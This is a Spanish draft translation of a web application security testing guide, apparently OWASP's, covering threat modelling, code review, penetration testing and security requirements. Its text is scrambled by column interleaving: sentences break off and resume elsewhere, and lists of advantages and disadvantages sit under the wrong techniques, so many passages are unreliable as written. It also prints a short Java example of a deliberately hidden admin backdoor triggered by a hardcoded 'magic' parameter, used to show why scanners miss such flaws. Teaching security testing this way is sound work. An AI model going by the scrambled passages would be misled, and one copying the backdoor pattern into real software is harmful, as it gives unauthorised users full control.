Comprender el ámbito de seguridad Es importante saber cuánta seguridad requerirá un proyecto. La información y los activos que deben ser protegidos deberán tener una clasificación que establezca cómo deben ser manejados (por ejemplo, confidencial, secreto, ultra secreto). Las discusiones deben llevarse a cabo con consejo legal para asegurarse de que se cumplan los requisitos de seguridad específicos. En E.E.U.U., los requisitos podrían venir de regulaciones federales, como la ley de Gramm-Leach-Bliley [8], o de las leyes estatales, como la ley de California SB-1386 [9]. Para organizaciones con sede en países de la UE, tanto los reglamentos del país como las directivas de la UE pueden aplicar. Por ejemplo, la Directiva 96/46/EC4 [10] que obliga a tratar los datos personales con el debido cuidado, cualquiera que sea la aplicación.
Desarrollar la mentalidad correcta Probar exitosamente una aplicación contra vulnerabilidades de seguridad requiere pensar "fuera de la caja." Casos de uso habitual pondrán a prueba el comportamiento normal de la aplicación cuando un usuario la está utilizando de la manera esperada. Una buena prueba de seguridad requiere ir más allá de lo que se espera y pensar como un atacante que está tratando de penetrar en la aplicación. El pensamiento creativo puede ayudar a determinar qué datos inesperados pueden causar que una aplicación falle de manera insegura. También puede ayudar a encontrar las suposiciones hechas por los desarrolladores web que no siempre son verdaderas y cómo pueden ser subvertidas. Una de las razones por las que las
El Diablo se encuentra en los detalles Es fundamental no realizar una revisión superficial de la seguridad de una aplicación y considerarla completa. Esto generará una falsa sensación de confianza que puede ser tan peligrosa como el no haber hecho una revisión de seguridad desde un inicio. Es vital revisar los hallazgos y descartar
cualquier falso positivo que pueda haber en el informe. Reportar un hallazgo de seguridad incorrecto a menudo puede minar la validez del resto del informe de seguridad. Debe tener cuidado de verificar que cada sección de la lógica de la aplicación ha sido probada, y que cada escenario de casos de usos fue explorado para encontrar posibles vulnerabilidades.
Use el código fuente cuando esté disponible Aunque las pruebas de penetración de Caja Negra pueden ser impresionantes y útiles para demostrar cómo las vulnerabilidades están expuestas en un entorno de producción, no son la manera más eficaz o eficiente para asegurar una aplicación. Es difícil, con una prueba dinámica, probar todo el código base, particularmente si existen muchos condicionales anidados. Si el código fuente de la aplicación está
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 15
Guia de pruebas 4.0 "Borrador"
disponible, debería entregarse al personal de seguridad para ayudar a realizar su revisión. Es posible descubrir vulnerabilidades dentro de la fuente de la aplicación que pasaron desapercibidas con la prueba de la Caja Negra.
Desarrollar métricas Una parte importante de un buen programa de seguridad es su capacidad para determinar si las cosas están mejorando. Es importante hacer seguimiento a los resultados de la prueba y desarrollar indicadores (métricas) que revelen las tendencias de seguridad de la aplicación dentro de la organización.
Utilizar una plantilla de informe de pruebas de seguridad puede ahorrar tiempo y asegurar que los resultados sean documentados con precisión y consistencia y estén en un formato adecuado para el grupo objetivo.
Explicación de las técnicas de prueba
Unas buenas métricas mostrarán:
• Si se requiere más educación y entrenamiento; • Si existe un mecanismo de seguridad en particular que no ha sido entendido claramente por el equipo de desarrollo;
Esta sección presenta un resumen de alto nivel de diferentes técnicas de prueba que se pueden emplear al crear un programa de pruebas. No presenta metodologías específicas para estas técnicas ya que esta información está cubierta en el capítulo 3. Esta sección se incluye para proporcionar un contexto para el marco de referencia que se presenta en el próximo capítulo y para resaltar las ventajas y desventajas de algunas de las técnicas que se deben considerar. En particular, cubrimos:
• Si el número total de problemas encontrados, relacionados con la seguridad, ha disminuido mes a mes. • Inspecciones y Revisiones Manuales Las métricas constantes que se pueden generar de manera automatizada desde el código fuente disponible también ayudarán a la organización en la evaluación de la efectividad de los mecanismos creados para reducir los fallos de seguridad en el desarrollo de software. Las métricas no se desarrollan fácilmente, así que usar métricas estándar como las previstas por el proyecto de métricas OWASP y otras organizaciones es un buen punto de partida.
• Modelado de Amenazas • Revisión de Código • Pruebas de Penetración
Inspecciones y Revisiones Manuales Documente los resultados de las pruebas Para concluir el proceso de pruebas, es importante generar un registro formal de las acciones de prueba que fueron tomadas, por quiénes, cuándo se realizaron y los detalles de los resultados de la prueba. Es conveniente acordar un formato aprobado para el informe, que sea útil para todas las partes interesadas, que puede incluir desarrolladores, gerentes de proyectos, dueños de negocios, departamento de tecnología, auditoría y cumplimiento.
El informe debe ser claro para que el dueño del negocio identifique dónde existen riesgos materiales, y suficiente para obtener su respaldo para acciones de mitigación posteriores. El informe también debe ser claro para el desarrollador para poder precisar la función exacta que se ve afectada por la vulnerabilidad y recomendaciones asociadas para resolver los problemas en un lenguaje que entienda el desarrollador. El informe también deberá permitir que otro técnico de seguridad pueda reproducir los resultados. La redacción del informe no debe ser una carga para el mismo técnico de seguridad. Los técnicos de seguridad no son generalmente reconocidos por sus habilidades de escritura creativa, y generar un informe complejo puede llevar a instancias donde los resultados de la prueba no sean correctamente documentados.
Resumen Las inspecciones manuales son revisiones realizadas por humanos, que prueban típicamente las implicaciones de seguridad de las personas, políticas y procesos. Las inspecciones manuales también pueden incluir la verificación de las decisiones de tecnología tales como diseños arquitectónicos. Generalmente se realizan analizando documentación o realizando entrevistas con los diseñadores o dueños del sistema. Aunque el concepto de inspecciones manuales y revisiones humanas es simple, estas pueden estar entre las técnicas disponibles más poderosas y eficaces. Preguntando a alguien cómo funciona algo y por qué se aplicó de una manera específica, el evaluador puede determinar rápidamente si alguna duda de seguridad es evidente. Las revisiones y controles manuales son algunas de las contadas maneras para probar el proceso mismo del ciclo de vida de desarrollo del software y para asegurar que existe una adecuada política o habilidad.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 16
Guia de pruebas 4.0 "Borrador"
Como con muchas cosas en la vida, al realizar inspecciones manuales y revisiones, es recomendable adoptar un modelo de "confíe pero verifique". No todo lo que el evaluador muestre o diga será preciso.
Para desarrollar un modelo de amenazas, se recomienda adoptar un enfoque simple que sigue el estándar NIST 800-30 [11] de evaluación del riesgo. Este enfoque implica:
Las revisiones manuales son particularmente buenas para probar si las personas entienden el proceso de seguridad, han sido concientizadas sobre la política y tienen las habilidades apropiadas para diseñar o implementar una aplicación segura. Otras actividades, como revisar manualmente la documentación, políticas de codificación seguras, requisitos de seguridad y diseños arquitectónicos, deben ser cumplidas mediante una inspección manual.
• Descomposición de la aplicación - utilice un proceso de inspección manual para entender cómo funciona la aplicación, sus activos, funcionalidad y conectividad. • Definir y clasificar los activos – clasifique los activos en tangibles e intangibles y ordénelos según la importancia del negocio.
Ventajas: • No requieren de tecnología de apoyo. • Se pueden aplicar a una variedad de situaciones. • Son flexibles.
• Explorar posibles vulnerabilidades - sean técnicas, operacionales o de administración. • Explorar posibles amenazas - desarrolle una visión realista de los posibles vectores de ataque desde la perspectiva de un atacante, mediante el uso de escenarios de amenaza o árboles de ataque.
• Promueven el trabajo en equipo. • Se inician temprano en el SDLC.
Desventajas: • Pueden desperdiciar el tiempo. • El material de apoyo material no siempre está disponible. • Requieren significativamente del pensamiento humano y la habilidad para ser eficaces.
• Crear estrategias de mitigación - desarrollando controles de mitigación para cada una de las amenazas consideradas realistas.
El reporte de un modelo de amenaza en sí puede variar, pero, por lo general, es una colección de listas y diagramas. La guía de Revisión de Códigos de OWASP describe una metodología de un modelo de amenazas para aplicaciones, que puede utilizarse como referencia para las aplicaciones de prueba de posibles fallos de seguridad en el diseño de la aplicación. No existe ninguna forma correcta o incorrecta para desarrollar modelos de amenaza y realizar evaluaciones de riesgos de información en las aplicaciones. [12].
Ventajas:
Creación de modelos de amenazas
• Vista práctica del sistema desde el punto de vista del atacante.
Resumen
• Flexible
La creación de modelos de amenazas se ha convertido en una técnica popular para ayudar a los diseñadores de sistemas a pensar sobre las amenazas de seguridad que podrían enfrentar sus sistemas y aplicaciones. Por lo tanto, la creación de modelos de amenazas puede verse como la evaluación de riesgo para las aplicaciones. De hecho, permite al diseñador desarrollar estrategias de mitigación para las vulnerabilidades potenciales y les ayuda a focalizar su inevitable escasez de recursos y atención en las partes del sistema que más lo requiere. Se recomienda que todas las aplicaciones tengan un modelaje de amenazas desarrollado y documentado. Los modelos de amenazas deben crearse lo antes posible en el SDLC y deben ser revisados mientras evoluciona la aplicación y el desarrollo progresa.
• Se inicia temprano en el SDLC.
Desventajas: • Técnica relativamente nueva. • Buenos modelos de amenazas no significan automáticamente buenas aplicaciones.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 17
Guia de pruebas 4.0 "Borrador"
Revisión de código fuente Resumen La revisión del código fuente es el proceso de comprobar manualmente el código fuente de una aplicación web por cuestiones de seguridad. Muchas vulnerabilidades serias de seguridad no pueden ser detectadas mediante otra forma de análisis o pruebas. Como dice el dicho popular "Si usted quiere saber lo que realmente está pasando, vaya directamente a la fuente". Casi todos los expertos en seguridad están de acuerdo en
que no existe un sustituto para revisar el código. Toda la información para identificar problemas de seguridad existe en alguna parte del código. A diferencia de las pruebas de software cerrado externo, tales como los sistemas operativos, al probar aplicaciones web (sobre todo si han sido desarrolladas en la empresa), el código fuente debe estar disponible para propósitos de prueba.
Muchos problemas de seguridad no intencionales, pero significativos, son también extremadamente difíciles de descubrir mediante otras formas de análisis o pruebas, como las pruebas de penetración; hacen del análisis de código fuente la técnica elegida para la prueba técnica. Con el código fuente, un evaluador puede determinar con precisión lo que está sucediendo (o se supone que sucede) y eliminar la conjetura de la prueba de Caja Negra.
Ejemplos de temas que son especialmente propicios para ser encontrados a través de revisiones de código fuente incluyen problemas de concurrencia, lógica de negocio imperfecto, problemas de control de acceso y debilidades criptográficas, así como puertas traseras, troyanos, huevos de pascua, bombas de tiempo, bombas lógicas y otras formas de código malicioso. Estos problemas a menudo se manifiestan como las más nefastas vulnerabilidades en sitios web. El análisis de código fuente también puede ser extremadamente eficiente para encontrar problemas de implementación tales como lugares donde no se realizó la validación de entrada o cuando los procedimientos de control abierto de fallas pueden estar presentes. Pero tenga en cuenta qué los procedimientos operacionales deben revisarse, ya que el código fuente que está implementando no sería el mismo que el analizado en este documento [13].
• Requiere de desarrolladores expertos de seguridad. • Puede saltarse temas en bibliotecas compiladas. • No puede detectar fácilmente errores de tiempo de ejecución. • El código fuente desplegado puede diferir del que se analiza.
Para más información sobre revisión de código, investigue el proyecto de revisión de código OWASP.
Pruebas de penetración Resumen Las pruebas de penetración han sido, por muchos años, una técnica común utilizada para probar la seguridad de la red. También se las conoce comúnmente como pruebas de Caja Negra o piratería (hacking) ética. Las pruebas de penetración son esencialmente el "arte" de probar una aplicación en ejecución remotamente para encontrar vulnerabilidades de seguridad, sin saber el funcionamiento interno de la aplicación. Por lo general, el equipo de pruebas de penetración tendría acceso a una aplicación como si fuera usuario. El evaluador actúa como un intruso e intenta encontrar y explotar vulnerabilidades. En muchos casos, al evaluador se le dará una cuenta válida en el sistema.
Mientras que las pruebas de penetración han demostrado ser eficaces en la seguridad de la red, la técnica no se traduce naturalmente a las aplicaciones. Cuando se realizan pruebas de penetración en redes y sistemas operativos, la mayoría del trabajo está relacionado con encontrar y luego explotar vulnerabilidades conocidas en tecnologías
específicas. Como las aplicaciones web son básicamente hechas a la medida, las pruebas de penetración en el campo de las aplicaciones web son más parecidas a la investigación pura. Se han desarrollado herramientas de pruebas de penetración que automatizan el proceso, pero por la naturaleza de las aplicaciones web, su eficacia es generalmente pobre.
Ventajas: • Finalización y efectividad. • Precisión. • Es rápida (para correctores competentes).
Desventajas:
Muchas personas utilizan hoy en día las pruebas de penetración como su técnica de pruebas de seguridad primaria. Aunque ciertamente tiene su lugar en un programa de pruebas, no creemos que debe ser considerada como la técnica principal o la única. Gary McGraw en [14] resumió bien a las pruebas de penetración cuando dijo: "Si fallas una prueba de penetración, sabes que tienes un problema muy malo en verdad. Si pasas una prueba de penetración, no sabes si tienes un problema muy malo". Sin embargo, las pruebas de penetración focalizadas (es decir, pruebas que buscan explotar vulnerabilidades conocidas y detectadas en revisiones anteriores) pueden ser útiles en la detección si
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 18
Guia de pruebas 4.0 "Borrador"
realmente se arreglan algunas vulnerabilidades específicas en el código desplegado en el sitio web.
desafíen todos los supuestos, tales como el no acceso al código fuente y el explorar la posibilidad de realizar pruebas más completas.
Ventajas:
Un enfoque equilibrado varía dependiendo de muchos factores, tales como la madurez del proceso de prueba y la cultura corporativa. Se recomienda que un marco de pruebas equilibrado se vea como las representaciones que se muestran en la Figura 3 y Figura 4. La siguiente figura muestra una típica representación proporcional sobrepuesta al ciclo de vida de desarrollo de software. Para mantenerse al nivel de la investigación y la experiencia, es esencial que las empresas pongan un mayor énfasis en las primeras etapas de desarrollo.
• Puede ser rápida (y por lo tanto económica). • Requiere de un conjunto de habilidades relativamente inferior al requerido para revisión de código fuente. • Prueba el código que realmente se está exponiendo.
Figura 3: Proporción esfuerzo en pruebas en el SDLC Desventajas: • Se realiza demasiado tarde en el SDLC. • Es solamente una prueba de impacto frontal.
La necesidad de un enfoque equilibrado Con tantas técnicas y enfoques para probar la seguridad de aplicaciones web, puede ser difícil entender qué técnicas usar y cuándo usarlas. La experiencia demuestra que no existe una respuesta correcta o incorrecta a la pregunta sobre qué técnicas exactas pueden usarse para construir un marco conceptual de pruebas. De hecho, todas las técnicas probablemente pueden usarse para poner a prueba todas las áreas que necesitan ser probadas.
Aunque es claro que no existe una técnica única que pueda realizarse para cubrir eficientemente todas las pruebas de seguridad y asegurarse de que todos los temas han sido abordados, muchas empresas adoptan sólo una aproximación. El enfoque utilizado ha sido históricamente pruebas de penetración. Las pruebas de penetración, aunque útiles, no pueden abordar eficazmente muchos de los temas que deben analizarse. Simplemente es "muy poco y muy tarde" en el ciclo de vida del desarrollo de software (SDLC).
En la siguiente figura se muestra una típica representación proporcional sobrepuesta a las pruebas técnicas.
Figura 4: Proporción de prueba de esfuerzo según prueba técnica
El enfoque correcto es un enfoque equilibrado que incluye varias técnicas, desde revisiones manuales a pruebas técnicas. Un enfoque equilibrado debe cubrir las pruebas en todas las fases del SDLC. Este enfoque aprovecha las técnicas más apropiadas disponibles, dependiendo de la fase actual de SDLC.
Por supuesto, hay momentos y circunstancias donde solo es posible usar una técnica. Por ejemplo, una prueba en una aplicación web que ya ha sido creada, pero donde el grupo de pruebas no tiene acceso al código fuente. En este caso, las pruebas de penetración son claramente mejores que no hacer ninguna prueba en absoluto. Sin embargo, se recomienda que las personas encargadas de la prueba
Una nota acerca de los escáneres de aplicaciones Web:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 19
Guia de pruebas 4.0 "Borrador"
Muchas organizaciones han empezado a utilizar escáneres de aplicaciones web automatizados. Aunque sin duda tienen su lugar en un programa de pruebas, algunos temas fundamentales deben ser resaltados porque se cree que las pruebas de Caja Negra automatizadas no son (o serán algún día) eficaces. Sin embargo, destacar estos temas no debería desalentar el uso de los escáneres de aplicación web. Por el contrario, el objetivo es asegurar que se entienden las limitaciones y, así, los marcos de pruebas se planeen adecuadamente.
Importante: OWASP actualmente está trabajando para desarrollar una plataforma de escaneo mediante una evaluación comparativa. Los ejemplos siguientes muestran por qué las pruebas automatizadas de Caja Negra son ineficaces.
'Ejemplo 1: Los parámetros mágicos' Imagine una aplicación web simple que acepte un par nombre-valor de "magia" y luego el valor. Para simplificar, la solicitud GET puede ser:
http://www.host/application?magic=value Para simplificar más el ejemplo, los valores en este caso solo pueden ser caracteres ASCII a-z (mayúsculas o minúsculas) y números enteros 0 – 9.
Los diseñadores de esta aplicación crearon una puerta trasera de administración durante la prueba, pero la ofuscaron para evitar que un observador casual pueda descubrirla. Enviando el valor sf8g7sfjdsurtsdieerwqredsgnfg8d (31 caracteres), el usuario, entonces, se conectará y tendrá una pantalla administrativa con el control total de la aplicación. La solicitud HTTP es ahora: http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d
Dado que todos los otros parámetros fueron campos simples de dos y tres caracteres, no es posible adivinar combinaciones de aproximadamente 28 caracteres. Se necesitaría la fuerza bruta de un escáner de aplicaciones web (o adivinar) para encontrar todo el espacio de clave de 30 caracteres. Que es hasta 30 ^ 28 permutaciones, o trillones de peticiones HTTP. Esto es un electrón en un pajar digital.
Mirando el código, la vulnerabilidad prácticamente salta de la página como un problema potencial.
Ejemplo 2: Mala criptografía La criptografía es ampliamente utilizada en aplicaciones web. Imagine que un desarrollador decidió escribir un algoritmo de criptografía simple para autenticar un usuario desde el sitio A al sitio B automáticamente. En su sabiduría, el desarrollador decide que si un usuario está conectado en el sitio A, entonces generará una clave utilizando una función de hash MD5 que comprende: Hash {username: fecha}.
Cuando un usuario se pasa al sitio B, él o ella le enviará la clave en la cadena de consulta al sitio B en el re direccionamiento HTTP. El sitio B independientemente calcula el valor hash y compara con el hash pasado en la petición. Si coinciden, el sitio B autentica al usuario como dice ser.
Al explicar el esquema, las deficiencias pueden trabajarse. Cualquiera que entienda el esquema (o se le diga cómo funciona, o descargue la información de Bugtraq) puede iniciar una sesión como cualquier usuario. La inspección manual, como una revisión o inspección de código, habría descubierto rápidamente este problema de seguridad. Un escáner de aplicaciones web de Caja Negra no habría descubierto la vulnerabilidad. Habría visto un hash de 128 bits que cambia con cada usuario, y por la naturaleza de las funciones hash, no cambió en una manera predecible. Una nota sobre las herramientas de revisión de códigos fuente estáticas: Muchas organizaciones han comenzado a usar escáneres estáticos de códigos fuente. Aunque, sin duda, tienen un lugar en un programa de pruebas comprehensivo, es necesario resaltar algunas cuestiones fundamentales acerca de por qué este enfoque no es eficaz cuando se utiliza solo. El análisis de código fuente estático no puede identificar los problemas debidos a fallas en el diseño, ya que no puede entender el
contexto en el que se construye el código. Las herramientas de análisis de código fuente son útiles en la determinación de problemas de seguridad debido a errores de codificación; sin embargo, se requiere un esfuerzo manual significativo para validar los resultados.
La verificación del código de este parámetro mágico ejemplar puede verse a continuación:
Derivar requerimientos de prueba de seguridad public void doPost( HttpServletRequest request, HttpServletResponse response) { String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;
Para tener un programa de pruebas exitoso, uno debe saber cuáles son los objetivos de la prueba. Estos objetivos se especifican en los requisitos de seguridad. Esta sección explica en detalle cómo documentar los requisitos de las pruebas de seguridad, derivándolos de reglamentos y normas aplicables y de los requisitos positivos y negativos de la aplicación. También habla de cómo los requisitos de
Documento Pre-release cortesía de Fernando Vela para drangonjar.org boolean admin = magic.equals( request.getParameter(“magic”)); 20 if (admin) doAdmin( request, response); else …. // normal processing
Guia de pruebas 4.0 "Borrador"
seguridad conducen efectivamente las pruebas de seguridad durante el SDLC y cómo se pueden utilizar los datos de pruebas de seguridad para gestionar eficazmente los riesgos de seguridad de software.
Objetivos de realizar pruebas Uno de los objetivos de las pruebas de seguridad es validar que los controles de seguridad funcionan como se espera. Esto se documenta por medio de requisitos de seguridad que describen la funcionalidad del control de seguridad. En un nivel alto, esto significa comprobar la confidencialidad, integridad y disponibilidad de los datos, así como el servicio. El otro objetivo es validar que los controles de seguridad se implementen con pocas o ninguna vulnerabilidad. Hay vulnerabilidades comunes, tales como el OWASP Top Ten, así como las vulnerabilidades que se han identificado previamente en evaluaciones de seguridad durante el SDLC, como modelaje de amenazas, análisis de código fuente y prueba de penetración. Documentación de requisitos de seguridad El primer paso en la documentación de requisitos de seguridad es entender los requerimientos del negocio. Un documento de requisitos del negocio puede proporcionar información inicial de alto nivel sobre la funcionalidad esperada de la aplicación. Por ejemplo, el propósito principal de una aplicación puede ser proporcionar servicios financieros a clientes o permitir adquirir bienes de un catálogo en línea. Una sección de seguridad de los requerimientos del negocio debe resaltar la necesidad de proteger los datos del cliente, así como cumplir con la documentación de seguridad aplicable, tal como regulaciones, estándares y políticas.
Una lista general de las regulaciones, estándares y políticas es un buen análisis de cumplimiento de seguridad preliminar para las aplicaciones web. Por ejemplo, el cumplimiento de las reglamentaciones puede identificarse revisando información del sector empresarial y del país o estado donde funcionará la aplicación. Algunas de estas normas y directrices de cumplimiento podrían traducirse en requerimientos técnicos específicos para controles de seguridad. Por ejemplo, en el caso de aplicaciones financieras, el cumplimiento de las pautas de la FFIEC para autenticación [15] requiere que las instituciones financieras implementen aplicaciones que mitiguen los riesgos de autenticación débil con autenticación de múltiples etapas y control de seguridad multifactorial.
Los estándares aplicables para la seguridad deben también estar capturados en la lista de verificación de requisitos generales de seguridad. Por ejemplo, en el caso de aplicaciones que manejan datos de tarjetas de crédito del cliente, el cumplimiento con el estándar PCI DSS [16] prohíbe el almacenamiento de información de PINS y datos CVV2 y requiere que el comerciante proteja los datos de la banda magnética en el almacenamiento y transmisión mediante encriptación y en pantalla mediante enmascarar los datos. Estos requisitos de seguridad PCI DSS pudieran ser validados a través del análisis del código fuente.
Otra sección de la lista de verificación debe cumplir con los requisitos generales para el cumplimiento de las políticas y normas de seguridad de información de la organización. Desde la perspectiva de los requisitos funcionales, los requisitos para el control de seguridad deben guiar a una sección específica de las normas de seguridad de la información. Un ejemplo de tal requisito puede ser: "la complejidad de la contraseña de seis caracteres alfanuméricos debe aplicarse por los controles de autenticación utilizados por la aplicación". Cuando los requisitos de seguridad apuntan hacia normas que deben ser cumplidas, una prueba de seguridad puede validar la exposición de riesgos de cumplimiento. Si se encuentra una violación a las políticas y normas de seguridad de la información, ésta resultará en un riesgo que puede ser documentado y que la empresa tiene que gestionar. Puesto que estos requisitos de seguridad son exigibles, estos deben estar bien documentados y validados con pruebas de seguridad.
Validación de requisitos de seguridad Desde la perspectiva de funcionalidad, la validación de requisitos de seguridad es el principal objetivo de las pruebas de seguridad. Desde la perspectiva de la gestión de riesgo, la validación de requisitos de seguridad es el objetivo de las evaluaciones de seguridad de información. En un nivel alto, el principal objetivo de las evaluaciones de seguridad de información es la identificación de grietas en los controles de seguridad, tales como la falta de controles básicos de autenticación, autorización o controles de encriptado. Más a profundidad, el objetivo de la evaluación de seguridad es el análisis de riesgo, tal como la identificación de las debilidades potenciales en los controles de seguridad que garanticen la confidencialidad, integridad y disponibilidad de los datos. Por ejemplo, cuando la aplicación trata con información personal identificable (PII) y datos sensibles, el requisito de seguridad a validar es el cumplimiento de las políticas de seguridad de la empresa en cuanto al encriptado de la información de dichos datos tanto en tránsito como en almacenamiento. Asumiendo que el cifrado se utiliza para proteger los datos, los algoritmos de cifrado y longitud de claves deben cumplir con los estándares de encriptación de la organización. Estos pueden requerir que solo se utilice ciertos algoritmos y longitudes de clave. Por ejemplo, un requisito de seguridad que puede ser probado es verificar que se utilizan sólo códigos permitidos (por ejemplo, SHA256, RSA, AES) con longitud de claves mínimas permitidas (por ejemplo, más de 128 bits para encriptado simétrico y de más de 1024 para encriptado asimétrico).
Desde la perspectiva de la evaluación de seguridad, los requisitos de seguridad pueden ser validados en diferentes fases de la SDLC utilizando diferentes artefactos y metodologías de prueba. Por ejemplo, la creación de modelos de amenazas se centra en la identificación de fallas de seguridad durante el diseño, análisis del código de seguridad; las revisiones se centran en identificar problemas de seguridad en el código fuente durante el desarrollo, y las pruebas de penetración se centran en la identificación de vulnerabilidades en la aplicación durante la prueba o validación.
Los problemas de seguridad que se identifican temprano en el SDLC se pueden documentar en un plan de pruebas para ser validadas posteriormente con pruebas de seguridad. Combinando los resultados de las diferentes técnicas de prueba, es
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 21
Guia de pruebas 4.0 "Borrador"
posible derivar mejor los casos de prueba de seguridad y aumentar el nivel de protección de los requisitos de seguridad. Por ejemplo, distinguir las verdaderas vulnerabilidades de los no-explotables es posible cuando se combinan los resultados de pruebas de penetración y análisis de código fuente. Considerando la prueba de seguridad para una vulnerabilidad de inyección de un S L, por ejemplo una prueba de Caja Negra,en primer lugar, podría involucrar un análisis de la aplicación para identificar la vulnerabilidad. La primera evidencia de una potencial vulnerabilidad de inyección de una SQL que puede ser validada es la generación de una excepción de la SQL. Una
una función hash para cifrar una contraseña, sin la aplicación de una semilla en el valor. Desde la perspectiva de codificación segura, se trata de una vulnerabilidad que afecta a la encriptación usada para la autenticación con una vulnerabilidad cuya causa está en el error de codificación. Puesto que la causa es una codificación insegura, el requisito de seguridad puede ser documentado en las normas de codificación seguras y validado a través de revisiones de código seguro durante la fase de desarrollo de la SDLC.
Pruebas de seguridad y Análisis de riesgos validación posterior de la vulnerabilidad de la SQL puede implicar inyectar manualmente vectores de ataque para modificar la gramática de la consulta SQL para explotar la divulgación de la información. Esto podría involucrar una gran cantidad de análisis de ensayo y error hasta que la consulta dañina se ejecute. Suponiendo que el evaluador tenga el código fuente, ella puede aprender a partir del análisis de código fuente, como construir el vector de ataque de la SQL que puede explotar la vulnerabilidad (por ejemplo, ejecutar una consulta maliciosa que devuelve datos confidenciales a un usuario no autorizado).
Los requerimientos de seguridad deben tomar en cuenta la gravedad de las vulnerabilidades para apoyar una estrategia de mitigación de riesgo. Asumiendo que la organización mantiene un registro de vulnerabilidades en aplicaciones (es decir, una base de conocimiento de vulnerabilidades), los temas de seguridad pueden ser reportados por tema, tipo, causa principal, mitigación y direccionados a las aplicaciones donde se encuentran. Tal base de conocimiento de vulnerabilidades también puede utilizarse para establecer métricas para analizar la eficacia de las pruebas de seguridad en el SDLC.
Taxonomías de las amenazas y defensas La clasificación de amenazas y defensas, que considera la raíz de las vulnerabilidades, es el factor crítico en la verificación de que los controles de seguridad sean diseñados, codificados y construidos para mitigar el impacto de la exposición de esas vulnerabilidades. En el caso de las aplicaciones web, la exposición de los controles de seguridad para vulnerabilidades comunes, tales como el OWASP Top Ten, puede ser un buen punto de partida para derivar los requisitos generales de seguridad. Más concretamente, el framework de seguridad de aplicaciones web [17] proporciona una clasificación (por ejemplo taxonomía) de vulnerabilidades que pueden ser documentadas en diferentes guías y estándares diferentes y validados con pruebas de seguridad.
El foco de una categorización de amenazas y defensas es definir los requisitos de seguridad en cuanto a las amenazas y la causa principal de la vulnerabilidad. Una amenaza puede ser categorizada usando STRIDE [18] como Suplantación de identidad, Manipulación, Repudio, revelación de Información, Negación de servicio y Elevación de privilegios. La causa puede calificarse como falla de seguridad en el diseño, un error de seguridad en la codificación o un problema debido a una configuración insegura. Por ejemplo, la causa de la vulnerabilidad de autenticación débil podría ser la falta de autenticación mutua cuando los datos cruzan un límite de confianza entre los niveles del cliente y de ensambles del servidor de la aplicación. Un requisito de seguridad que capture la amenaza de no repudio durante una revisión del diseño de arquitectura permite la documentación del requisito de defensa (por ejemplo, autenticación mutua) que puede ser validada posteriormente con pruebas de seguridad.
Una categorización de amenazas y defensas para las vulnerabilidades puede utilizarse también para documentar requerimientos de seguridad de la codificación segura como estándares de codificación seguras. Un ejemplo de un error de codificación común en los controles de autenticación consiste en aplicar
Por ejemplo, considere un problema de validación de entrada, como una inyección de SQL, que se identificó a través del análisis del código fuente y registrado con una causa principal de error de codificación y tipo, una vulnerabilidad de validación de entrada. La exposición de esta vulnerabilidad puede ser evaluada mediante una prueba de penetración, mediante el análisis de campos de entrada con varios vectores de ataque de inyección de SQL. Esta prueba puede validar que los caracteres especiales son filtrados antes de llegar a la base de datos y mitigan la vulnerabilidad. Combinando los resultados del análisis de código fuente y pruebas de penetración es posible determinar la probabilidad y la exposición a la vulnerabilidad y calcular la calificación de riesgo de la vulnerabilidad. Informando las calificaciones de riesgo de vulnerabilidad en los resultados (por ejemplo, informe de pruebas) es posible decidir sobre la estrategia de mitigación. Por ejemplo, las vulnerabilidades de mediano y alto riesgo pueden priorizarse para ser remediadas, mientras que las de bajo riesgo se pueden arreglar en las siguientes versiones.
Teniendo en cuenta los escenarios de amenaza de la explotación de vulnerabilidades comunes, es posible identificar los riesgos potenciales que deben probarse en el control de seguridad de la aplicación. Por ejemplo, las diez vulnerabilidades más importantes de OWASP pueden ser direccionadas a ataques como el fraude electrónico (phishing), violaciones de privacidad, robo de identidad, sistema comprometido, alteración de datos o destrucción de datos, pérdidas financieras y pérdida de reputación. Estos temas deberían documentarse como parte de los escenarios de amenaza. Pensando en términos de amenazas y vulnerabilidades, es posible diseñar una batería de pruebas que simulen estos escenarios de ataque. Idealmente, la base de conocimientos de vulnerabilidades de la organización puede utilizarse para derivar pruebas de seguridad dirigidas por los casos de riesgos de seguridad para validar los escenarios de ataque más probables. Por ejemplo, si el robo de identidad se considera de alto riesgo, escenarios de prueba negativos deben validar la mitigación de los impactos
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 22
Guia de pruebas 4.0 "Borrador"
derivados de la explotación de las vulnerabilidades de autenticación, controles criptográficos, validación del ingreso y controles de validación.
Derivación de requisitos de funcionales y no funcionales
pruebas de
• La plantilla de restablecimiento de contraseña debe validar el nombre de usuario y el email del usuario registrado antes de enviar la contraseña temporal del usuario por correo electrónico. La contraseña temporal emitida debe ser una contraseña de un solo uso. Se enviará un enlace a la página de restablecimiento de contraseña al usuario. La página de restablecimiento de contraseña debe validar la contraseña temporal del usuario, la contraseña nueva, así como la respuesta del usuario a la pregunta de desafío.
seguridad Requisitos de seguridad a causa del riesgo
Requerimientos de seguridad funcional
Desde la perspectiva de los requisitos de seguridad funcional, las normas aplicables, las reglamentaciones y políticas conducen tanto a la necesidad de un tipo de control de seguridad, así como a la funcionalidad del control. Estos requisitos también se denominan "requisitos positivos", ya que aseguran la funcionalidad prevista a través de pruebas de seguridad. Ejemplos de requisitos positivos son: "la aplicación bloqueará al usuario después de seis intentos fallidos de ingreso" o "las contraseñas deben tener un mínimo de seis caracteres alfanuméricos". La validación de requisitos positivos consiste en afirmar la funcionalidad esperada y se puede probar creando nuevamente las condiciones de prueba y realizando la prueba de acuerdo con las entradas predefinidas. Los resultados aparecen entonces como una condición de error o de pasar.
Para validar los requisitos de seguridad con pruebas de seguridad, estos deben estar impulsados por la función y necesitan resaltar la funcionalidad esperada (el qué) e implícitamente la implementación (el cómo). Ejemplos de requisitos de diseño de alto nivel de seguridad para la autenticación pueden ser:
Las pruebas de seguridad deben ser dirigidas de acuerdo al riesgo; esto significa que necesitan validar la aplicación de un comportamiento inesperado. Éstos también se llaman "requisitos negativos", ya que especifican lo que no debe hacer la aplicación.
Ejemplos de requisitos negativos son:
